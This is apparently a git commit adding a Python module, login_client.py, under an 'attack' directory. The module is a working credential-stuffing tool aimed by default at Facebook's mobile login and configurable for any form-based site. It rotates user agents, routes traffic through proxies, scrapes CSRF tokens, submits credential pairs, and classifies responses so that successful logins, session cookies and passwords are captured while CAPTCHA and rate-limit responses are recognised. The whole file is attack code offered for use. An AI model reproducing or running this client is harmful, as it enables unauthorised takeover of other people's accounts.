Add full application source
This commit is contained in:
Dr Jones
229
src/attack/login_client.py
Normal file
229
src/attack/login_client.py
Normal file
@@ -0,0 +1,229 @@
|
||||
"""
|
||||
Generic login client — submits credential pairs to any HTML form-based login URL.
|
||||
Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other sites.
|
||||
"""
|
||||
import logging
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional
|
||||
from urllib.parse import urlparse, urljoin
|
||||
|
||||
import requests
|
||||
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass
|
||||
class SiteConfig:
|
||||
"""Per-site configuration for the generic login client."""
|
||||
login_url: str = "https://m.facebook.com/login.php"
|
||||
base_url: str = "https://m.facebook.com"
|
||||
|
||||
# HTML form field names
|
||||
username_field: str = "email"
|
||||
password_field: str = "pass"
|
||||
|
||||
# Extra static POST fields (e.g. Facebook's login_source)
|
||||
extra_fields: Dict[str, str] = field(default_factory=lambda: {
|
||||
"login_source": "comet_headerless",
|
||||
"login": "Log In",
|
||||
})
|
||||
|
||||
# Token scraping (CSRF)
|
||||
csrf_field: str = "lsd" # empty string to disable
|
||||
csrf_patterns: List[str] = field(default_factory=lambda: [
|
||||
r'name="lsd"[^>]*value="([^"]+)"',
|
||||
r'"lsd"[^}]*?"([^"]+)"',
|
||||
])
|
||||
|
||||
# Success / failure detection in response body or URL
|
||||
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"])
|
||||
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"])
|
||||
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"])
|
||||
captcha_indicators: List[str] = field(default_factory=lambda: [
|
||||
"captcha", "security check", "confirm your identity",
|
||||
"unusual activity", "verify", "prove you",
|
||||
])
|
||||
rate_limit_indicators: List[str] = field(default_factory=lambda: [
|
||||
"too many", "try again later", "rate limit",
|
||||
])
|
||||
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
|
||||
"incorrect", "wrong password", "invalid", "didn't match",
|
||||
"password you entered", "not match",
|
||||
])
|
||||
|
||||
@classmethod
|
||||
def for_url(cls, url: str) -> "SiteConfig":
|
||||
"""Build a minimal config for an arbitrary URL (generic form POST)."""
|
||||
parsed = urlparse(url)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
return cls(
|
||||
login_url=url,
|
||||
base_url=base,
|
||||
extra_fields={},
|
||||
csrf_field="",
|
||||
success_cookies=[],
|
||||
success_url_fragments=[],
|
||||
failure_url_fragments=["login", "signin", "auth"],
|
||||
)
|
||||
|
||||
|
||||
@dataclass
|
||||
class LoginResult:
|
||||
success: bool
|
||||
status_code: int
|
||||
response_time_ms: float
|
||||
message: str
|
||||
captcha_detected: bool = False
|
||||
cookies: Optional[Dict] = None
|
||||
redirect_url: Optional[str] = None
|
||||
|
||||
|
||||
class LoginClient:
|
||||
"""
|
||||
Generic HTML-form login client.
|
||||
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
site_config: Optional[SiteConfig] = None,
|
||||
request_timeout: int = 20,
|
||||
):
|
||||
self.site = site_config or SiteConfig()
|
||||
self.request_timeout = request_timeout
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update({
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
})
|
||||
|
||||
def reconfigure(self, site_config: SiteConfig):
|
||||
self.site = site_config
|
||||
self.session.cookies.clear()
|
||||
|
||||
# ── CSRF helper ───────────────────────────────────────────────────────────
|
||||
|
||||
def _get_csrf_token(self, proxies: Dict) -> str:
|
||||
if not self.site.csrf_field:
|
||||
return ""
|
||||
try:
|
||||
ua = get_random_mobile_ua()
|
||||
resp = self.session.get(
|
||||
self.site.login_url,
|
||||
proxies=proxies,
|
||||
headers={"User-Agent": ua},
|
||||
timeout=self.request_timeout,
|
||||
)
|
||||
for pattern in self.site.csrf_patterns:
|
||||
m = re.search(pattern, resp.text)
|
||||
if m:
|
||||
return m.group(1)
|
||||
except Exception as e:
|
||||
logger.debug(f"CSRF token fetch failed: {e}")
|
||||
return ""
|
||||
|
||||
# ── Core attempt ─────────────────────────────────────────────────────────
|
||||
|
||||
def attempt_login(
|
||||
self,
|
||||
username: str,
|
||||
password: str,
|
||||
proxy_string: Optional[str] = None,
|
||||
) -> LoginResult:
|
||||
start = time.time()
|
||||
proxies = self._build_proxies(proxy_string)
|
||||
ua = get_random_facebook_ua()
|
||||
|
||||
try:
|
||||
csrf = self._get_csrf_token(proxies)
|
||||
|
||||
payload: Dict[str, str] = {
|
||||
self.site.username_field: username,
|
||||
self.site.password_field: password,
|
||||
}
|
||||
if self.site.csrf_field and csrf:
|
||||
payload[self.site.csrf_field] = csrf
|
||||
payload.update(self.site.extra_fields)
|
||||
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Origin": self.site.base_url,
|
||||
"Referer": self.site.login_url,
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
"Cache-Control": "max-age=0",
|
||||
}
|
||||
|
||||
resp = self.session.post(
|
||||
self.site.login_url,
|
||||
data=payload,
|
||||
proxies=proxies,
|
||||
headers=headers,
|
||||
timeout=self.request_timeout,
|
||||
allow_redirects=True,
|
||||
)
|
||||
elapsed = (time.time() - start) * 1000
|
||||
return self._analyse(resp, password, elapsed)
|
||||
|
||||
except requests.ConnectTimeout:
|
||||
return LoginResult(False, 0, _ms(start), "Connection timeout")
|
||||
except requests.ProxyError as e:
|
||||
return LoginResult(False, 0, _ms(start), f"Proxy error: {str(e)[:80]}")
|
||||
except requests.ConnectionError as e:
|
||||
return LoginResult(False, 0, _ms(start), f"Connection error: {str(e)[:80]}")
|
||||
except Exception as e:
|
||||
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
|
||||
|
||||
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult:
|
||||
url = resp.url.lower()
|
||||
text = resp.text.lower()
|
||||
code = resp.status_code
|
||||
|
||||
# ── Captcha check first ───────────────────────────────────────────
|
||||
if any(kw in text for kw in self.site.captcha_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1),
|
||||
"CAPTCHA detected", captcha_detected=True)
|
||||
|
||||
# ── Cookie-based success ──────────────────────────────────────────
|
||||
for cookie in self.site.success_cookies:
|
||||
if cookie in resp.cookies:
|
||||
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
|
||||
return LoginResult(True, code, round(elapsed, 1),
|
||||
"Login successful!",
|
||||
cookies=dict(resp.cookies),
|
||||
redirect_url=resp.url)
|
||||
|
||||
# ── URL-redirect success ──────────────────────────────────────────
|
||||
failed_frag = any(f in url for f in self.site.failure_url_fragments)
|
||||
if not failed_frag and code == 200:
|
||||
if any(f in url for f in self.site.success_url_fragments):
|
||||
logger.info(f"Possible SUCCESS via redirect to: {url}")
|
||||
return LoginResult(True, code, round(elapsed, 1),
|
||||
f"Redirected to: {url[:60]}",
|
||||
cookies=dict(resp.cookies),
|
||||
redirect_url=resp.url)
|
||||
|
||||
# ── Rate-limit ────────────────────────────────────────────────────
|
||||
if any(kw in text for kw in self.site.rate_limit_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
|
||||
|
||||
# ── Wrong password ────────────────────────────────────────────────
|
||||
if any(kw in text for kw in self.site.wrong_pass_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")
|
||||
|
||||
return LoginResult(False, code, round(elapsed, 1), f"Failed (HTTP {code})")
|
||||
|
||||
@staticmethod
|
||||
def _build_proxies(proxy_string: Optional[str]) -> Dict:
|
||||
if not proxy_string:
|
||||
return {}
|
||||
return {"http": proxy_string, "https": proxy_string}
|
||||
|
||||
|
||||
def _ms(start: float) -> float:
|
||||
return round((time.time() - start) * 1000, 1)
|
||||
Reference in New Issue
Block a user